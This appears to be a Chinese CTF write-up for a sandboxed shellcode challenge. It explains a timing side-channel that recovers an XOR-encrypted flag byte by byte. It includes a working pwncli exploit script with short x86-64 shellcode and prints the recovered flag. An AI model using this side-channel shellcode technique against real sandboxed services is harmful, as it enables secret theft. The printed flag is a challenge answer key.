总结
侧信道攻击,爆破出flag
。这里对shellcode
的长度有限制,所以需要尽量写较短的shellcode
完成利用。
题目分析
checksec

同时发现有沙盒,读取输入后,只能使用alarm
系统调用:

函数分析
init
在_init
段注册了一个函数:

主要流程为:
mmap
一块内存,起始地址为0xcafe000
,页权限为可读可写可执行
- 读取
flag
到0xcafe000
- 从
/dev/urandom
读取8
个字节,存储在一个整数变量中
- 按每
8
个字节与flag
进行异或
main

主要就是读取用户输入,然后执行shellcode
。在0x202020
处拷贝了shellcode
,如下:

利用思路
EXP
考虑到flag
的特征,其实这里可以只把猜测的范围限制为0123456789abcdef
,加快爆破的速度。这份exp
将范围扩大了一些(偷懒)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwncli import *
cli_script()
debug = gift.debug
filename = gift.filename
if not debug:
ip = gift.ip
port = gift.port
# flag{2bb747aa-dabb-4826-a4d7-9fcb98b949f8}
shellcode = """
/* alarm(0) */
mov al, 0x25
syscall
/* recover key */
mov ebp, 0xcafe000
mov eax, dword ptr [rbp]
xor eax, 0x67616c66
mov ebx, dword ptr [rbp+0x28+4]
shl rbx, 32
or rbx, rax
/* recover flag */
L1:
xor qword ptr [rbp + 8 * rdx], rbx
inc edx
cmp dl, 6
jnz L1
L2:
cmp byte ptr [rbp + {}], {}
jz L2 /* stuck */
"""
idx = 0
flag = ""
for _ in range(42):
err = True
for i in bytearray(b"-{{}}flagbcde0123456789"):
if debug:
io = process(filename)
else:
io = remote(ip, port)
io.send(asm(shellcode.format(idx, hex(i))))
if io.can_recv_raw(3):
io.close()
continue
else:
flag += chr(i)
print(f"Now flag is : {flag}")
io.close()
err = False
break
if err:
error("This round is wrong!")
idx += 1
|

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli